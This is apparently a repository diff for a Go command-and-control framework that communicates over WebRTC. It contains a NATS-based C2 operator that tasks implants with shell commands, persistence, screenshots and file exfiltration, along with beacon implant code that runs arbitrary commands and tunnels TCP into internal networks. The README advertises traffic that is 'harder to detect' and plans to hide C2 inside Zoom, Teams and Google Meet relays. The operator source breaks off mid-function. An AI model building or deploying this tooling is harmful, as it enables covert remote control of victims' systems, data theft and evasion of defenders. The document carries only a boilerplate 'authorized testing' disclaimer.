const b64Key = "rAEUBb5Id9HO3m3BZ+G5PSqBaceVJly4lbjbSSImz+c="
var aesKey []byte
var nc *nats.Conn
var natsURL = "nats://localhost:4222"
func encrypt(plaintext []byte) ([]byte, error) {
block, _ := aes.NewCipher(aesKey)
gcm, _ := cipher.NewGCM(block)
nonce := make([]byte, gcm.NonceSize())
io.ReadFull(rand.Reader, nonce)
return gcm.Seal(nonce, nonce, plaintext, nil), nil
}
func decrypt(ciphertext []byte) ([]byte, error) {
block, _ := aes.NewCipher(aesKey)
gcm, _ := cipher.NewGCM(block)
nonceSize := gcm.NonceSize()
nonce, ciphertext := ciphertext[:nonceSize], ciphertext[nonceSize:]
return gcm.Open(nil, nonce, ciphertext, nil)
}
func publishTask(agent, cmd string) {
encCmd, _ := encrypt([]byte(cmd))
nc.Publish("c2."+agent+".tasks", encCmd)
}
func main() {
var err error
aesKey, _ = base64.StdEncoding.DecodeString(b64Key)
// Try JWT auth if creds exist
if _, err := os.Stat("implant.creds"); err == nil {
nc, err = nats.Connect(natsURL, nats.UserCredentials("implant.creds"))
} else {
nc, err = nats.Connect(natsURL)
}
if err != nil {
panic(err)
}
defer nc.Drain()
heartbeats := make(map[string]time.Time)
nc.Subscribe("c2.*.heartbeat", func(m *nats.Msg) {
dec, err := decrypt(m.Data)
if err == nil && string(dec) == "online" {
agent := strings.Split(m.Subject, ".")[1]
heartbeats[agent] = time.Now()
}
})
nc.Subscribe("c2.*.results", func(m *nats.Msg) {
dec, _ := decrypt(m.Data)
agent := strings.Split(m.Subject, ".")[1]
fmt.Printf("\n[+] Result from %s:\n%s\n> ", agent, string(dec))
})
nc.Subscribe("c2.*.file_upload", func(m *nats.Msg) {
b64data := string(m.Data)
encData, _ := base64.StdEncoding.DecodeString(b64data)
decData, _ := decrypt(encData)
agent := strings.Split(m.Subject, ".")[1]
filename := fmt.Sprintf("exfil_%s_%d.bin", agent, time.Now().Unix())
os.WriteFile(filename, decData, 0644)
fmt.Printf("\n[!] File saved: %s\n> ", filename)
})
fmt.Println("[*] NATS C2 Operator Ready")
fmt.Println("Commands: list, <agent> shell <cmd>, <agent> upload <local_file>, <agent> persist, <agent> screenshot, exit")
scanner := bufio.NewScanner(os.Stdin)
for {
fmt.Print("> ")
if !scanner.Scan() {
break
}
line := scanner.Text()
parts := strings.Fields(line)
if len(parts) == 0 {
continue
}
switch parts[0] {
case "exit":
return
case "list":
fmt.Println("Active agents:")
for agent, ts := range heartbeats {
if time.Since(ts) < 90*time.Second {
fmt.Println(" -", agent)
}
}
default:
if len(parts) < 2 {
fmt.Println("Usage: <agent> <command> [args]")
continue
}
agent := parts[0]
cmd := parts[1]
args := strings.Join(parts[2:], " ")
switch cmd {
case "shell":
if args == "" {
fmt.Println("Usage: shell <command>")
continue
}
publishTask(agent, "shell "+args)
case "upload":
if args == "" {
fmt.Println("Usage: upload <local_file>")
continue
}
data, err := os.ReadFile(args)
if err != nil {
fmt.Println("Error reading file:", err)
continue
}
encData, _ := encrypt(data)
b64enc := base64.StdEncoding.EncodeToString(encData)
publishTask(agent, fmt.Sprintf("download %s %s", args, b64enc))
case "persist":
publishTask(agent, "persist")
case "screenshot":
publishTask(agent, "screenshot")
default:
fmt.Println("Unknown command")
}
}
}
}
+14
View File
@@ -0,0 +1,14 @@
listen: 4222
# Point to your operator JWT
operator:
# Use memory resolver for testing (or URL for production)
resolver: MEMORY
# Enable debug logging
debug: true trace: true
+21
View File
@@ -0,0 +1,21 @@
MIT License
Copyright (c) 2026 ek0ms savi0r
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
+47
View File
@@ -0,0 +1,47 @@
.PHONY: all clean build build-linux build-windows test run-operator run-beacon deps
# Default
all: build
# Build all targets
build: build-linux build-windows
build-linux:
@echo "Building Linux binaries..."
GOOS=linux GOARCH=amd64 go build -o bin/beacon ./cmd/beacon/
GOOS=linux GOARCH=amd64 go build -o bin/operator ./cmd/operator/
build-windows:
@echo "Building Windows binaries..."
GOOS=windows GOARCH=amd64 go build -o bin/beacon.exe ./cmd/beacon/
GOOS=windows GOARCH=amd64 go build -o bin/operator.exe ./cmd/operator/
# Cross-compile
build-arm64:
GOOS=linux GOARCH=arm64 go build -o bin/beacon-arm64 ./cmd/beacon/
GOOS=linux GOARCH=arm64 go build -o bin/operator-arm64 ./cmd/operator/
build-darwin:
GOOS=darwin GOARCH=amd64 go build -o bin/beacon-darwin ./cmd/beacon/
GOOS=darwin GOARCH=amd64 go build -o bin/operator-darwin ./cmd/operator/
# Quick dev test
test:
@echo "Running tests..."
go test ./...
# Run in two terminals
run-operator:
./bin/operator -sig-addr :9090 -session rtc-c2-test
run-beacon:
./bin/beacon -signaller http://127.0.0.1:9090 -session rtc-c2-test
# Clean artifacts
clean:
rm -rf bin/
# Dependencies
deps:
go mod tidy
go mod verify
+226
View File
@@ -0,0 +1,226 @@
# rtc-c2
work in progress...check back for updates xo....
**WebRTC-based Command & Control framework.** Direct TCP forward over encrypted WebRTC data channels — like SSH `-L` style port forwarding, but nested inside DTLS tunnels.
```text
┌─────────────────┐ ┌──────────────────────┐ ┌──────────────────┐
│ Operator │ │ TURN/STUN Relay │ │ Beacon │
│ (C2 Server) │───▶│ (Provider Infra) │◀───│ (Implant) │
│ │ │ ── DTLS tunnel ──▶ │ │ │
│ - Direct fwd │ │ Encrypted WebRTC │ │ - Task executor │
│ - Task disptch │ │ data channel │ │ - Tunnel fwd │
│ - Console │ │ Indistinguishable │ │ - Persistence │
│ - WS signaller │ │ from video calls │ │ │
└─────────────────┘ └──────────────────────┘ └──────────────────┘
```
# Disclaimer: For authorized security testing or educational purposes only.
---
## Features
| Component | Means |
|-----------|-------|
| Transport | Pion WebRTC + Google STUN |
| Signaller | HTTP or **WebSocket** rendezvous (WS = stealthier) |
| Tunnel | **Direct TCP forward** over WebRTC |
| Protocol | JSON envelope over DTLS |
### Ghost Calls (Roadmap)
| Component | Means |
|-----------|-------|
| Transport | Provider TURN (Zoom/Google/Teams) |
| Signaller | Meeting invitation protocol |
| Tunnel | Direct TCP over provider media relay |
| Auth | Meeting join credentials (ephemeral) |
| Infra | **Zero** — no VPS, no domains, no certs |
## Requirements
- Go 1.21+
## Build
```bash
git clone https://github.com/h0mi3e/rtc-c2
cd rtc-c2
make build
```
Windows/Linux/macOS binaries in `bin/`.
## Quick Start
**Terminal 1 — Operator:**
```bash
./bin/operator -sig-addr :9090 -session my-session
```
**Terminal 2 — Beacon:**
```bash
./bin/beacon -signaller http://127.0.0.1:9090 -session my-session
```
Once a beacon connects:
```
=== rtc-c2 Operator Console ===
> beacons
Connected beacons (1):
------------------------------------------------------------
Beacon ID User@Host OS Arch
------------------------------------------------------------
hostname-1234... user@host linux amd64
> use hostname-1234
[+] Using beacon abc123def456 (user@host)
> exec whoami
[*] Task sent
> exec uname -a
> info
> back
```
## Direct TCP Forward
Use the `forward` command for **direct TCP forwarding** through the beacon:
```bash
# In operator console:
> forward 127.0.0.1:4444 10.0.1.100:80
[+] Forward: 127.0.0.1:4444 -> 10.0.1.100:80 (via active beacon)
> forwards
Active forwards:
127.0.0.1:4444 -> 10.0.1.100:80 (via beacon)
```
Then in another terminal:
```bash
# Point your browser/tool at localhost:4444
curl http://127.0.0.1:4444/resource
# Or use --resolve for clean hostnames
curl http://internal.corp/resource --resolve internal.corp:80:127.0.0.1
```
Manage forwards:
```bash
> forwards # list active forwards
> stop-forward :4444 # stop a forward
```
What's happening:
1. Operator listens on `127.0.0.1:4444`
2. Raw TCP data gets wrapped in WebRTC messages → sent to beacon
3. Beacon connects to `10.0.1.100:80` and bridges the connection
## WebSocket Signaller
For stealthier SDP exchange, use WebSocket instead of HTTP polling:
```bash
# Operator
./bin/operator -sig-addr :9090 -session stealth -ws
# Beacon
./bin/beacon -signaller http://127.0.0.1:9090 -session stealth -ws
```
WebSocket signaller keeps a persistent connection — looks like a normal web app data feed instead of HTTP polling. Harder to detect as C2 traffic.
## Commands
### Operator Console
| Command | Description |
|---------|-------------|
| `beacons` | List connected beacons |
| `use <id>` | Open interactive session with beacon |
| `forward <local> <remote>` | Direct TCP forward (SSH -L style) |
| `forwards` | List active forwards |
| `stop-forward <local>` | Stop a forward listener |
| `help` | Show help |
| `exit` | Shut down |
### Beacon Session
| Command | Description |
|---------|-------------|
| `exec <cmd>` | Run command on beacon |
| `info` | Get system info |
| `whoami` | Get user identity |
| `download <path>` | Download file from beacon |
| `back` | Return to main menu |
## Project Structure
```
rtc-c2/
├── cmd/
│ ├── operator/ # C2 server binary
│ │ └── main.go
│ └── beacon/ # Implant binary
│ ├── main.go
│ └── util.go
├── pkg/
│ ├── transport/ # WebRTC peer connection
│ │ ├── config.go
│ │ └── peer.go
│ ├── signaller/ # SDP exchange (HTTP + WebSocket)
│ │ ├── signaller.go
│ │ └── websocket.go
│ ├── protocol/ # C2 message protocol
│ │ ├── message.go
│ │ └── task.go
│ └── tunnel/ # Direct TCP forward over WebRTC
│ ├── listener.go # Operator-side forward listener
│ └── forward.go # Beacon-side connection forwarder
├── bin/ # Build output
├── Makefile
├── go.mod / go.sum
└── README.md
```
## Ghost Calls Roadmap
The long game is zero-infrastructure C2 by piggybacking on provider WebRTC infra:
- **Google Meet:** Create meeting via API → beacon joins → Google's TURN relays issued → everything runs through Google's infrastructure
- **Jitsi Meet:** Self-hosted WebRTC — free, open, full control
- **Zoom:** Reverse-engineer proprietary WebRTC auth flow
- **Teams:** SAML/OAuth token → TURN relay auth
| Phase | What | Infra Needed |
|-------|------|-------------|
| 1 | Dev mode (HTTP/WS signaller) | LAN or same VPC |
| 2 | Self-hosted TURN (coturn) | VPS with UDP open |
| 3 | Jitsi Meet integration | Jitsi server or meet.jit.si |
| 4 | Google Meet integration | None — just a Gmail bot |
| 5 | Zoom + Teams | None — join existing infra |
## Adding New Task Types
1. Add a `TaskType` constant in `pkg/protocol/task.go`
2. Add args struct if needed
3. Add handler case in `beacon/main.go`'s `executeTask()`
---
Built by **ek0ms** — Church of Malware
## DISCLAIMER
For authorized Security Testing or Educational Purposes only.
+285
View File
@@ -0,0 +1,285 @@
// Command beacon is the implant that runs on the target system.
// It establishes a WebRTC connection to the operator, registers itself,
// and executes tasks received over the data channel.
package main
import (
"context"
"flag"
"fmt"
"log"
"os"
"os/signal"
"runtime"
"syscall"
"time"
"github.com/pion/webrtc/v4"
"github.com/ek0ms/rtc-c2/pkg/protocol"
"github.com/ek0ms/rtc-c2/pkg/signaller"
"github.com/ek0ms/rtc-c2/pkg/transport"
"github.com/ek0ms/rtc-c2/pkg/tunnel"
)
func main() {
var (
signallerURL = flag.String("signaller", "http://127.0.0.1:9090", "Signaller server URL")
sessionKey = flag.String("session", "rtc-c2-dev", "Session key for signalling")
peerID = flag.String("id", "", "Beacon ID (auto-generated if empty)")
useTURN = flag.Bool("turn", false, "Use TURN relay (requires TURN server config)")
wsSignaller = flag.Bool("ws", false, "Use WebSocket signaller instead of HTTP")
)
flag.Parse()
log.SetFlags(log.LstdFlags | log.Lshortfile)
log.Printf("[beacon] starting rtc-c2 beacon on %s/%s", runtime.GOOS, runtime.GOARCH)
// Determine beacon ID
beaconID := *peerID
if beaconID == "" {
hostname, _ := os.Hostname()
beaconID = fmt.Sprintf("%s-%d", hostname, os.Getpid())
}
// Configure transport
cfg := transport.DefaultConfig(transport.RoleBeacon)
cfg.PeerID = beaconID
if *useTURN {
// In production, these would come from meeting credentials
// For development, use coturn
cfg.WithTURN(
[]string{"turn:127.0.0.1:3478"},
"rtc-c2",
"rtc-c2-pass",
)
}
// Create peer
peer, err := transport.NewPeer(cfg)
if err != nil {
log.Fatalf("[beacon] create peer: %v", err)
}
// Setup signaller
var sig signaller.Signaller
if *wsSignaller {
sig = signaller.NewWebSocketSignaller(*signallerURL+"/ws", *sessionKey, "beacon")
log.Printf("[beacon] using WebSocket signaller")
} else {
sig = signaller.NewHTTPSignaller(*signallerURL, *sessionKey, "beacon")
}
peer.OnLocalDescription = func(sdp webrtc.SessionDescription) error {
return sig.SendLocalDescription(sdp)
}
// Setup tunnel forwarder
fwd := tunnel.NewForwarder()
fwd.OnTunnelData = func(tunnelID tunnel.TunnelID, data []byte) {
// Wrap tunnel data in C2 protocol messages
env, err := protocol.NewEnvelope(protocol.MsgTunnelData, beaconID, map[string]interface{}{
"tunnel_id": string(tunnelID),
"data": data,
})
if err != nil {
log.Printf("[beacon] tunnel wrap error: %v", err)
return
}
msg, _ := env.Serialize()
if err := peer.Send(msg); err != nil {
log.Printf("[beacon] tunnel send error: %v", err)
}
}
// Handle incoming messages
peer.OnMessage(func(data []byte) {
env, err := protocol.ParseEnvelope(data)
if err != nil {
log.Printf("[beacon] parse message: %v", err)
return
}
handleMessage(peer, fwd, beaconID, env)
})
// State change logging
peer.OnStateChange(func(evt transport.PeerEvent) {
log.Printf("[beacon] state: %s (err: %v)", evt.State, evt.Err)
})
// Fetch remote SDP and connect
log.Printf("[beacon] connecting to signaller at %s", *signallerURL)
remoteDesc, err := sig.ReceiveRemoteDescription()
if err != nil {
log.Fatalf("[beacon] receive remote desc: %v", err)
}
ctx, cancel := context.WithCancel(context.Background())
defer cancel()
if err := peer.Connect(ctx); err != nil {
log.Fatalf("[beacon] connect: %v", err)
}
// Push the operator's SDP
peer.RemoteDescriptionChan <- *remoteDesc
// Wait for signals
sigCh := make(chan os.Signal, 1)
signal.Notify(sigCh, syscall.SIGINT, syscall.SIGTERM)
<-sigCh
log.Printf("[beacon] shutting down")
peer.Close()
}
func handleMessage(peer *transport.Peer, fwd *tunnel.Forwarder, beaconID string, env *protocol.Envelope) {
switch env.Type {
case protocol.MsgTask:
var task protocol.Task
if err := env.ExtractPayload(&task); err != nil {
log.Printf("[beacon] extract task: %v", err)
return
}
go executeTask(peer, beaconID, &task)
case protocol.MsgPing:
pong, _ := protocol.NewEnvelope(protocol.MsgPong, beaconID, nil)
msg, _ := pong.Serialize()
peer.Send(msg)
case protocol.MsgTunnelData:
var payload struct {
TunnelID string `json:"tunnel_id"`
Data []byte `json:"data"`
}
if err := env.ExtractPayload(&payload); err != nil {
log.Printf("[beacon] extract tunnel data: %v", err)
return
}
fwd.HandleMessage(tunnel.TunnelID(payload.TunnelID), payload.Data)
case protocol.MsgShutdown:
log.Printf("[beacon] received shutdown command")
os.Exit(0)
default:
log.Printf("[beacon] unknown message type: %s", env.Type)
}
}
func executeTask(peer *transport.Peer, beaconID string, task *protocol.Task) {
log.Printf("[beacon] executing task %s: type=%s", task.ID, task.Type)
result := &protocol.TaskResult{
TaskID: task.ID,
Success: false,
Timestamp: nowMS(),
}
switch task.Type {
case protocol.TaskExec:
var args protocol.ExecArgs
if err := task.ExtractArgs(&args); err != nil {
result.Error = fmt.Sprintf("bad args: %v", err)
break
}
result = execCommand(task.ID, &args)
case protocol.TaskInfo:
result.Success = true
info := fmt.Sprintf("Hostname: %s\nOS: %s\nArch: %s\nGo: %s\nPID: %d\nCWD: %s",
getHostname(), runtime.GOOS, runtime.GOARCH, runtime.Version(),
os.Getpid(), getCWD())
result.Output = info
result.ExitCode = 0
case protocol.TaskWhoami:
result.Success = true
result.Output = getCurrentUser()
result.ExitCode = 0
case protocol.TaskSleep:
// Sleep is handled by the operator adjusting poll timing
result.Success = true
result.Output = "sleep interval adjusted"
result.ExitCode = 0
case protocol.TaskExit:
result.Success = true
result.Output = "beacon exiting"
result.Timestamp = nowMS()
sendResult(peer, beaconID, result)
os.Exit(0)
default:
result.Error = fmt.Sprintf("unsupported task type: %s", task.Type)
result.Success = false
}
result.Timestamp = nowMS()
sendResult(peer, beaconID, result)
}
func execCommand(taskID string, args *protocol.ExecArgs) *protocol.TaskResult {
start := nowMS()
shell := args.Shell
if shell == "" {
if runtime.GOOS == "windows" {
shell = "cmd.exe"
} else {
shell = "/bin/sh"
}
}
var cmdStr string
if runtime.GOOS == "windows" {
cmdStr = fmt.Sprintf("/c %s", args.Command)
} else {
cmdStr = fmt.Sprintf("-c %s", args.Command)
}
log.Printf("[beacon] exec: %s %s", shell, cmdStr)
// Use runexec or os/exec in production
// For the initial implementation, shell execution
result := &protocol.TaskResult{
TaskID: taskID,
}
// Simple execution using subprocess
output, exitCode, err := runShell(shell, cmdStr)
if err != nil {
result.Error = err.Error()
result.Success = false
} else {
result.Success = exitCode == 0
result.Output = output
}
result.ExitCode = exitCode
result.Duration = nowMS() - start
result.Timestamp = nowMS()
return result
}
func sendResult(peer *transport.Peer, beaconID string, result *protocol.TaskResult) {
env, err := protocol.NewEnvelope(protocol.MsgTaskResult, beaconID, result)
if err != nil {
log.Printf("[beacon] create result envelope: %v", err)
return
}
msg, err := env.Serialize()
if err != nil {
log.Printf("[beacon] serialize result: %v", err)
return
}
if err := peer.Send(msg); err != nil {
log.Printf("[beacon] send result: %v", err)
}
}
func nowMS() int64 {
return time.Now().UnixMilli()
}
+83
View File
@@ -0,0 +1,83 @@
package main
import (
"bytes"
"fmt"
"os"
"os/exec"
"os/user"
"runtime"
"strings"
)
// runShell executes a command through the system shell and returns output.
func runShell(shell, command string) (string, int, error) {
var stdout, stderr bytes.Buffer
cmd := exec.Command(shell)
cmd.Stdin = strings.NewReader(command)
cmd.Stdout = &stdout
cmd.Stderr = &stderr
if err := cmd.Run(); err != nil {
exitCode := 1
if exitErr, ok := err.(*exec.ExitError); ok {
exitCode = exitErr.ExitCode()
}
output := stdout.String()
if errMsg := stderr.String(); errMsg != "" {
if output != "" {
output += "\n"
}
output += errMsg
}
return output, exitCode, err
}
output := stdout.String()
if errMsg := stderr.String(); errMsg != "" {
if output != "" {
output += "\n"
}
output += errMsg
}
return output, cmd.ProcessState.ExitCode(), nil
}
func getHostname() string {
hostname, err := os.Hostname()
if err != nil {
return "unknown"
}
return hostname
}
func getCWD() string {
cwd, err := os.Getwd()
if err != nil {
return "unknown"
}
return cwd
}
func getCurrentUser() string {
u, err := user.Current()
if err != nil {
return "unknown"
}
info := fmt.Sprintf("Username: %s\nUID: %s\nGID: %s\nHome: %s",
u.Username, u.Uid, u.Gid, u.HomeDir)
// Check for elevated privileges
if runtime.GOOS != "windows" {
if os.Geteuid() == 0 {
info += "\nPrivilege: root"
} else {
info += "\nPrivilege: user"
}
}
return info
}
+634
View File
@@ -0,0 +1,634 @@
// Command operator is the C2 server that tasks beacons through WebRTC tunnels.
// It provides an interactive console for issuing commands and managing forwards.
//
// Direct TCP forward over WebRTC data channels — like SSH -L style
// port forwarding, but encrypted inside WebRTC DTLS.
package main
import (
"bufio"
"context"
"flag"
"fmt"
"log"
"os"
"os/signal"
"strings"
"sync"
"syscall"
"time"
"github.com/pion/webrtc/v4"
"github.com/ek0ms/rtc-c2/pkg/protocol"
"github.com/ek0ms/rtc-c2/pkg/signaller"
"github.com/ek0ms/rtc-c2/pkg/transport"
"github.com/ek0ms/rtc-c2/pkg/tunnel"
)
type BeaconSession struct {
ID string
Hostname string
Username string
OS string
Arch string
FirstSeen time.Time
LastSeen time.Time
Peer *transport.Peer
Pending map[string]*protocol.Task
mu sync.RWMutex
}
type Operator struct {
mu sync.RWMutex
peer *transport.Peer
beaconID string
beacons map[string]*BeaconSession
sessions map[string]*BeaconSession
tunnelBr *tunnel.Bridge
sigServer *signaller.SignallerServer
forwards map[string]*tunnel.ForwardListener
activeBeacon string // currently selected beacon ID
}
func main() {
var (
sigAddr = flag.String("sig-addr", ":9090", "Signaller listen address")
sessionKey = flag.String("session", "rtc-c2-dev", "Session key for signalling")
operatorID = flag.String("id", "operator-1", "Operator ID")
useTURN = flag.Bool("turn", false, "Use TURN relay")
wsSignaller = flag.Bool("ws", false, "Use WebSocket signaller instead of HTTP")
)
flag.Parse()
log.SetFlags(log.LstdFlags | log.Lshortfile)
op := &Operator{
beacons: make(map[string]*BeaconSession),
sessions: make(map[string]*BeaconSession),
forwards: make(map[string]*tunnel.ForwardListener),
}
// --- Start signaller ---
op.sigServer = signaller.NewSignallerServer(*sigAddr)
go func() {
log.Printf("[operator] signaller on %s", *sigAddr)
if err := op.sigServer.Start(); err != nil {
log.Printf("[operator] signaller stopped: %v", err)
}
}()
time.Sleep(200 * time.Millisecond)
// --- Configure transport ---
cfg := transport.DefaultConfig(transport.RoleOperator)
cfg.PeerID = *operatorID
if *useTURN {
cfg.WithTURN(
[]string{"turn:127.0.0.1:3478"},
"rtc-c2",
"rtc-c2-pass",
)
}
peer, err := transport.NewPeer(cfg)
if err != nil {
log.Fatalf("[operator] create peer: %v", err)
}
op.peer = peer
// --- Setup signaller connection ---
var sig signaller.Signaller
if *wsSignaller {
sig = signaller.NewWebSocketSignaller(
fmt.Sprintf("ws://127.0.0.1%s/ws", *sigAddr),
*sessionKey, "operator",
)
log.Printf("[operator] using WebSocket signaller")
} else {
sig = signaller.NewHTTPSignaller(
fmt.Sprintf("http://127.0.0.1%s", *sigAddr),
*sessionKey, "operator",
)
}
peer.OnLocalDescription = func(sdp webrtc.SessionDescription) error {
return sig.SendLocalDescription(sdp)
}
// --- Setup tunnel bridge (direct TCP forward) ---
op.tunnelBr = tunnel.NewBridge()
op.tunnelBr.OnData = func(tunnelID tunnel.TunnelID, data []byte) {
env, err := protocol.NewEnvelope(protocol.MsgTunnelData, *operatorID, map[string]interface{}{
"tunnel_id": string(tunnelID),
"data": data,
})
if err != nil {
return
}
msg, _ := env.Serialize()
_ = peer.Send(msg)
}
// --- Handle incoming messages ---
peer.OnMessage(func(data []byte) {
env, err := protocol.ParseEnvelope(data)
if err != nil {
log.Printf("[operator] parse error: %v", err)
return
}
op.handleMessage(env)
})
peer.OnStateChange(func(evt transport.PeerEvent) {
log.Printf("[operator] peer state: %s", evt.State)
})
// --- Connect ---
ctx, cancel := context.WithCancel(context.Background())
defer cancel()
log.Printf("[operator] connecting...")
if err := peer.Connect(ctx); err != nil {
log.Fatalf("[operator] connect: %v", err)
}
log.Printf("[operator] ready — signaller on %s, session: %s", *sigAddr, *sessionKey)
log.Printf("[operator] beacon connects with: -signaller %s -session %s",
fmt.Sprintf("http://<this-ip>%s", *sigAddr), *sessionKey)
// --- Interactive console ---
go op.console()
defer op.consoleCleanup()
// --- Wait for signal ---
sigCh := make(chan os.Signal, 1)
signal.Notify(sigCh, syscall.SIGINT, syscall.SIGTERM)
<-sigCh
log.Printf("[operator] shutting down")
for _, fl := range op.forwards {
fl.Stop()
}
peer.Close()
op.sigServer.Stop()
}
func (op *Operator) handleMessage(env *protocol.Envelope) {
switch env.Type {
case protocol.MsgRegister:
var reg protocol.RegisterPayload
if err := env.ExtractPayload(&reg); err != nil {
log.Printf("[operator] extract register: %v", err)
return
}
op.handleRegister(reg)
case protocol.MsgHeartbeat:
var hb protocol.HeartbeatPayload
if err := env.ExtractPayload(&hb); err != nil {
return
}
op.updateHeartbeat(hb)
case protocol.MsgTaskResult:
var result protocol.TaskResult
if err := env.ExtractPayload(&result); err != nil {
log.Printf("[operator] extract result: %v", err)
return
}
op.handleTaskResult(env.SenderID, &result)
case protocol.MsgPong:
// latency measurement
case protocol.MsgTunnelData:
var payload struct {
TunnelID string `json:"tunnel_id"`
Data []byte `json:"data"`
}
if err := env.ExtractPayload(&payload); err != nil {
log.Printf("[operator] extract tunnel data: %v", err)
return
}
payloadStr := string(payload.Data)
if strings.HasPrefix(payloadStr, "OPENED:") {
log.Printf("[operator] tunnel %s opened -> %s",
payload.TunnelID, strings.TrimPrefix(payloadStr, "OPENED:"))
} else if payloadStr == "CLOSED" {
op.tunnelBr.CloseTunnel(tunnel.TunnelID(payload.TunnelID))
} else {
op.tunnelBr.HandleData(tunnel.TunnelID(payload.TunnelID), payload.Data)
}
case protocol.MsgError:
var errPayload protocol.ErrorPayload
if err := env.ExtractPayload(&errPayload); err == nil {
log.Printf("[operator] error from beacon: %s", errPayload.Message)
}
default:
log.Printf("[operator] unknown message type: %s", env.Type)
}
}
func (op *Operator) handleRegister(reg protocol.RegisterPayload) {
op.mu.Lock()
defer op.mu.Unlock()
now := time.Now()
beaconID := reg.BeaconID
if existing, ok := op.beacons[beaconID]; ok {
existing.LastSeen = now
existing.Hostname = reg.Hostname
existing.Username = reg.Username
existing.OS = reg.OS
existing.Arch = reg.Arch
log.Printf("[operator] beacon %s re-registered", beaconID)
return
}
session := &BeaconSession{
ID: beaconID,
Hostname: reg.Hostname,
Username: reg.Username,
OS: reg.OS,
Arch: reg.Arch,
FirstSeen: now,
LastSeen: now,
Pending: make(map[string]*protocol.Task),
}
op.beacons[beaconID] = session
op.sessions[beaconID] = session
log.Printf("[operator] beacon registered: %s (%s@%s) %s/%s",
beaconID, reg.Username, reg.Hostname, reg.OS, reg.Arch)
fmt.Printf("\n[+] Beacon connected: %s — %s@%s (%s/%s)\n> ",
beaconID[:12], reg.Username, reg.Hostname, reg.OS, reg.Arch)
}
func (op *Operator) updateHeartbeat(hb protocol.HeartbeatPayload) {
op.mu.RLock()
session, ok := op.beacons[hb.BeaconID]
op.mu.RUnlock()
if !ok {
return
}
session.mu.Lock()
session.LastSeen = time.Now()
session.mu.Unlock()
}
func (op *Operator) handleTaskResult(beaconID string, result *protocol.TaskResult) {
op.mu.RLock()
session, ok := op.beacons[beaconID]
op.mu.RUnlock()
if !ok {
log.Printf("[operator] result from unknown beacon: %s", beaconID)
return
}
session.mu.Lock()
delete(session.Pending, result.TaskID)
session.mu.Unlock()
status := "✓"
if !result.Success {
status = "✗"
}
fmt.Printf("\n[%s] Task %s %s (exit: %d, %dms)\n",
beaconID[:12], result.TaskID[:8], status, result.ExitCode, result.Duration)
if result.Output != "" {
fmt.Printf("%s\n", result.Output)
}
if result.Error != "" {
fmt.Printf("Error: %s\n", result.Error)
}
fmt.Print("> ")
}
func (op *Operator) sendTask(beaconID string, task *protocol.Task) error {
op.mu.RLock()
session, ok := op.beacons[beaconID]
op.mu.RUnlock()
if !ok {
return fmt.Errorf("beacon %s not connected", beaconID)
}
env, err := protocol.NewEnvelope(protocol.MsgTask, op.peer.Config().PeerID, task)
if err != nil {
return fmt.Errorf("create envelope: %w", err)
}
msg, err := env.Serialize()
if err != nil {
return fmt.Errorf("serialize: %w", err)
}
session.mu.Lock()
session.Pending[task.ID] = task
session.mu.Unlock()
return op.peer.Send(msg)
}
// --- Console ---
func (op *Operator) console() {
reader := bufio.NewReader(os.Stdin)
fmt.Println("\n=== rtc-c2 Operator Console ===")
fmt.Println("Commands: beacons, use <id>, forward <local:port> <remote:port>,")
fmt.Println(" forwards, stop-forward <local>, exec <cmd>, download <path>,")
fmt.Println(" info, help, exit")
fmt.Print("> ")
for {
line, err := reader.ReadString('\n')
if err != nil {
return
}
line = strings.TrimSpace(line)
if line == "" {
fmt.Print("> ")
continue
}
parts := strings.SplitN(line, " ", 2)
cmd := strings.ToLower(parts[0])
switch cmd {
case "exit", "quit":
fmt.Println("shutting down...")
return
case "help":
printHelp()
case "beacons", "list":
op.listBeacons()
case "use":
if len(parts) < 2 {
fmt.Println("usage: use <beacon-id>")
break
}
beaconID := strings.TrimSpace(parts[1])
op.activeBeacon = beaconID
op.useBeacon(beaconID, reader)
case "forward":
if len(parts) < 2 {
fmt.Println("usage: forward <local:port> <remote:port>")
fmt.Println(" forward 127.0.0.1:4444 10.0.1.100:80")
fmt.Println(" forward :8080 internal.service:443")
break
}
args := strings.Fields(parts[1])
if len(args) < 2 {
fmt.Println("usage: forward <local> <remote>")
break
}
op.startForward(args[0], args[1])
case "forwards":
op.listForwards()
case "stop-forward":
if len(parts) < 2 {
fmt.Println("usage: stop-forward <local-addr>")
break
}
op.stopForward(strings.TrimSpace(parts[1]))
case "socks":
fmt.Println("'socks' removed — use 'forward' for direct TCP forwarding")
default:
fmt.Printf("unknown command: %s (try 'help')\n", cmd)
}
fmt.Print("> ")
}
}
func (op *Operator) startForward(localAddr, remoteAddr string) {
// Ensure local addr has a port
if !strings.Contains(localAddr, ":") {
fmt.Printf("bad local addr: %s (need host:port)\n", localAddr)
return
}
if !strings.Contains(remoteAddr, ":") {
fmt.Printf("bad remote addr: %s (need host:port)\n", remoteAddr)
return
}
// Prepend 127.0.0.1 if no explicit host
if strings.HasPrefix(localAddr, ":") {
localAddr = "127.0.0.1" + localAddr
}
fl, err := op.tunnelBr.StartForwardListener(localAddr, remoteAddr)
if err != nil {
fmt.Printf("forward error: %v\n", err)
return
}
op.mu.Lock()
op.forwards[localAddr] = fl
op.mu.Unlock()
fmt.Printf("[+] Forward: %s -> %s (via active beacon)\n", localAddr, remoteAddr)
}
func (op *Operator) listForwards() {
op.mu.RLock()
defer op.mu.RUnlock()
if len(op.forwards) == 0 {
fmt.Println("No active forwards")
return
}
fmt.Println("Active forwards:")
for local, fl := range op.forwards {
fmt.Printf(" %s -> %s (via beacon)\n", local, fl.TargetAddr)
}
}
func (op *Operator) stopForward(localAddr string) {
op.mu.Lock()
fl, ok := op.forwards[localAddr]
delete(op.forwards, localAddr)
op.mu.Unlock()
if !ok {
